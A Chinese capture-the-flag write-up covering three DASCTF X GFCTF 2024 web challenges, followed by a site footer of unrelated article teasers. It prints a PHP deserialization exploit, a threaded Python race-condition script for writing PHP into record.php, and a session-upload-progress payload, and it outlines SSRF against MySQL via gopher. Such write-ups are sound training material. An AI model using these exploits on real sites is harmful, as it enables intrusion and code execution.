【Web】DASCTF X GFCTF 2024|四月开启第一局 题解

目录

EasySignin

cool_index 

web1234


web4打破防了🤮,应该很接近解出来了,感兴趣的师傅续上吧

EasySignin

先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)

 

然后admin / 1234567登录

康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ

gopher协议探测出3306端口,可以打mysql

 

直接gopherus来打

 

生成的payload _ 后的部分要url二次编码 

 

base64解码拿到flag 

 

cool_index 

拿到附件,主要看这段逻辑

app.post("/article", (req, res) => {const token = req.cookies.token;if (token) {try {const decoded = jwt.verify(token, JWT_SECRET);let index = req.body.index;if (req.body.index < 0) {return res.status(400).json({ message: "你知道我要说什么" });}if (decoded.subscription !== "premium" && index >= 7) {return res.status(403).json({ message: "订阅高级会员以解锁" });}index = parseInt(index);if (Number.isNaN(index) || index > articles.length - 1) {return res.status(400).json({ message: "你知道我要说什么" });}return res.json(articles[index]);} catch (error) {res.clearCookie("token");return res.status(403).json({ message: "重新登录罢" });}} else {return res.status(403).json({ message: "未登录" });}
});

注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用

 可以自行对照一下各种判断,最后会输出第八篇文章,索引为7

 

 

web1234

登录很容易,就是附件里resetconf里的信息进行一波处理

 

 

然后?uname=admin&passwd=1q2w3e登录 

 

大体思路就是先反序列化给record.php写入<?php error_reporting(0);

当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马

在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争

链子很简单

Admin#__Destruct -> Config.showconf() -> Log#__toString

反序列化exp:

<?phpclass Admin{public $Config;}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;}class Log{public $data;}$a=new Admin();
$b=new Config();
$c=new Log();
$a->Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);

删去最后一个括号绕过__wakeup

把序列化结果放进本地config文件中

写脚本,跑条件竞争

import requests
import threadingurl1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'def upload():while True:filename = "Config"with open('config', "rb") as f:files = {"file": (filename, f.read())}data = {"m": "edit","nickname": "<?php phpinfo();?>","sex": "1","mail": "1","telnum": "1",}response = requests.post(url=url1, files=files,data=data)print(response.status_code)url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'def read():while True:res2 = requests.get(url2)print(res2.status_code)res3 = requests.get(url3)if "php" in res3.text:print('success')# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]# 启动上传线程
for t in upload_threads:t.start()# 启动读取线程
for t in read_threads:t.start()

没跑出来,傻眼

后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)

 

先backdoor来执行phpinfo()

 

用backdoor来执行session_start() 

 

 

 ​​​​​​​exp:
 

import requestsp1 = '''a|O:5:\"Admin\":1:{s:6:\"Config\";O:6:\"Config\":8:{s:5:\"uname\";N;s:6:\"passwd\";N;s:6:\"avatar\";N;s:8:\"nickname\";N;s:3:\"sex\";N;s:4:\"mail\";N;s:6:\"telnum\";N;s:4:\"show\";O:3:\"Log\":1:{s:4:\"data\";s:11:\"log_start()\";}}'''
url = 'http://247d7106-e189-4fd3-9c50-9892158f1d47.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e&backdoor=session_start'
session = requests.session()
file = {'file': (p1, 'aaa')}
data = {"PHP_SESSION_UPLOAD_PROGRESS": 123}
cookie = {'PHPSESSID': 'd04a5edf34d9c3058ba9ed1cee70b5b2'}
resp = session.post(url=url, data=data, files=file, cookies=cookie, proxies={'http': '127.0.0.1:8080'})
print(resp.text)

然而刷新后似乎并没有session反序列化成功 

给的表单应该直接往record.php写马就可,但确是没写进去

要不然就是高版本wake_up没绕过(该试的都试了哇),要不然就是别的细节问题 

等官网wp了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/1095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OEEL图表——饼状图绘制(各国太阳能发电占比)

简介 本数据主要的目的就是进行饼状图的绘制,所使用的数据全球电力系统分布情况 数据属性 NameTypeDescriptioncountryString3-character country code corresponding to the ISO 3166-1 alpha-3 specscountry_lgStringLonger form of the country designationnameStringNam…

数据采集技术综合项目实战3(网络爬虫+数据预处理+数据可视化)附带详细步骤说明,干货满满

项目介绍及需求&#xff1a; 本项目主要是通过对b站电影弹幕进行采集并分析。1.获得弹幕高频词生成符合该电影特征、主题、角色等相关字段的词云图&#xff0c;通过词云图的方式对某部电影主题具体化。2.获取用户年内评论发布时间观生成时间的折线图&#xff0c;以便从侧面观察…

在Vue项目使用kindEditor富文本编译器以及上传图片

第一步 npm install kindeditor第二步&#xff0c;建立kindeditor.vue组件 <template><div class"kindeditor"><textarea :id"id" name"content" v-model"outContent"></textarea></div> </templa…

Android中logcat日志、ANR日志、trace日志的介绍与分析方法

Logcat日志 在Android开发中&#xff0c;日志是开发者在应用程序中添加的一种输出信息的记录方式&#xff0c;用于查看应用程序在运行时的状态、调试信息、错误信息等。Android日志可以帮助开发者追踪应用程序的行为、诊断问题并进行调试。Android提供了一系列的日志输出方法&…

使用 vllm 运行 Llama3-8b-Instruct

使用 vllm 运行 Llama3-8b-Instruct 0. 引言1. 安装 vllm2. 运行 Llama3-8b-Instruct 0. 引言 此文章主要介绍使用 vllm 运行 Llama3-8b。 1. 安装 vllm 创建虚拟环境&#xff0c; conda create -n myvllm python3.11 -y conda activate myvllm安装 Ray 和 Vllm&#xff0c…

富格林:致用查明暗箱黑幕技巧

富格林认为&#xff0c;投资现货黄金对于新手投资者来说是一个很好的选择&#xff0c;但是在进行投资之前需要了解一些基本的技巧和策略用以查明暗箱黑幕。事实上&#xff0c;现货黄金市场充满着丰富的交易机会&#xff0c;以及并存的交易风险&#xff0c;因此投资者要想在这其…

动态规划——状态压缩dp

acwing291.蒙德里安的梦想 #include<iostream> #include<cstring>using namespace std;const int N 12, M 1 << N;long long int f[N][M]; //f[i][j]表示第i列j状态有多少个可行解 int n, m; bool st[M]; //st[i]表示合并列的状态i是否合法int main() {wh…

10分钟快速部署 Doris 集群

部署 Doris 集群通常涉及多个步骤&#xff0c;包括下载和解压软件包、配置 FE 和 BE 节点以及启动服务。下面是在三台 Linux 服务器上部署一个包含三个 FE (Frontend) 和三个 BE (Backend) 的 Doris 集群的详细步骤&#xff1a; 服务器ip&#xff1a;192.168.0.103、192.168.0.…

02_补充)docker学习 docker在线安装tomcat等,docker容器常用指令

01中安装好docker后&#xff0c;本章学习使用docker拉取tomcat&#xff0c;nginx&#xff0c;jdk等镜像&#xff0c;并创建容器启动测试 常用命令 # 基本信息查看 docker version # 查看docker的版本号&#xff0c;包括客户端、服务端、依赖的Go等 docker info # 查看系统(…

【vue3】插件@tsparticles/vue3、tsparticles实现粒子特效

文章目录 一、安装依赖二、全局引入三、使用 一、安装依赖 npm i tsparticles/vue3 npm i tsparticles二、全局引入 // main.js import Particles from tsparticles/vue3 import { loadFull } from tsparticlesconst app createApp(App) app.use(Particles, {init: async (e…

java泛型知多少

Java 泛型了解么&#xff1f; 泛型是一种在编译时提供类型安全检查的机制,可以增加我们代码的可读性和安全性。泛型可以在编译时期对泛型参数进行校验来指定选入对象的类型&#xff0c;比如 ArrayList<Person> persons new ArrayList<Person>() 这行代码就指明了…

【设计模式】6、bridge 桥接模式

六、bridge 桥接模式 桥接设计模式 复杂逻辑拆分&#xff1a; 如果需要完成复杂的逻辑&#xff0c;可以把复杂逻辑设计为接口&#xff0c;内部再拆分为若干接口。这样复杂的逻辑会被拆分开&#xff0c;方便解耦。 例如&#xff1a;如果遥控器控制设备。可以遥控器设计为复杂…

销售经理(多继承/虚基类)

根据下图类之间的继承关系&#xff0c;以及main和输出定义&#xff0c;定义Staff类、Saleman类、Manager类和SaleManager类。 Staff类包含的数据成员有编号&#xff08;num)&#xff0c;姓名&#xff08;name)&#xff0c;基本工资&#xff08;basicSale&#xff09;。Saleman类…

pytorch中模型训练的学习率动态调整

pytorch动态调整学习率 背景手动设置自动衰减的学习率pytorch中的torch.optim.lr_schedulertorch.optim.lr_scheduler.ExponentialLRtorch.optim.lr_scheduler.StepLRtorch.optim.lr_scheduler.MultiStepLRtorch.optim.lr_scheduler.ReduceLROnPlateau 背景 在神经网络模型的训…

项目实践:贪吃蛇

引言 贪吃蛇作为一项经典的游戏&#xff0c;想必大家应该玩过。贪吃蛇所涉及的知识也不是很难&#xff0c;涉及到一些C语言函数、枚举、结构体、动态内存管理、预处理指令、链表、Win32 API等。这里我会介绍贪吃蛇的一些思路。以及源代码也会给大家放到文章末尾。 我们最终的…

优雅的最大公约数函数

记录一个极其优雅的最大公约数方法 // 递归形式 int gcd(int a, int b) {return b 0 ? a : gcd(b, a % b); }这里求最大公约数的方法使用了辗转相除法&#xff0c;只是比循环求最大公约数的方法更加优雅与简洁&#xff1a; // 迭代形式 int gcd(int a, int b) {while(b ! 0…

电大搜题微信公众号:福建开放大学学子的学习新篇章

在当今信息化时代&#xff0c;学习已经成为每个人不可或缺的一部分。福建开放大学&#xff0c;作为广播电视大学的重要一员&#xff0c;始终致力于为学生提供优质、灵活的教育资源。而电大搜题微信公众号的推出&#xff0c;更是为福建开放大学的学子们带来了全新的学习体验&…

【数学】常用等价无穷小及其注意事项示例

常用极限 lim ⁡ x → 0 sin ⁡ x x 1 \lim_{x \to 0} {\frac{\sin x}{x}}1 limx→0​xsinx​1 lim ⁡ x → 0 ( x 1 ) 1 x e \lim_{x \to 0} {(x1)^\frac{1}{x}}e limx→0​(x1)x1​e lim ⁡ n → ∞ a n 1 \lim_{n \to \infty} {\sqrt[n]{a}}1 limn→∞​na ​1 lim ⁡ n…

数组中两个字符串的最短距离---一题多解(贪心/二分)

点击跳转到题目 方法&#xff1a;贪心 / 二分 目录 贪心&#xff1a; 二分&#xff1a; 贪心&#xff1a; 要找出字符串数组中指定两个字符串的最小距离&#xff0c;即找出指定字符串对应下标之差的最小值 思考&#xff1a;如果是直接暴力求解&#xff0c;需要两层for循环…

VLOOKUP函数使用,为什么会报错“引用有问题”?

VLOOKUP函数的使用非常广泛&#xff0c;在excel2007版之后的软件中&#xff0c;使用VLOOKUP函数也许会遇到这样的场景&#xff0c;明明公式是没有问题的&#xff0c;公式还会报错“引用有问题”。 一、报错场景 输入公式后&#xff0c;回车确认&#xff0c;显示如下报错&…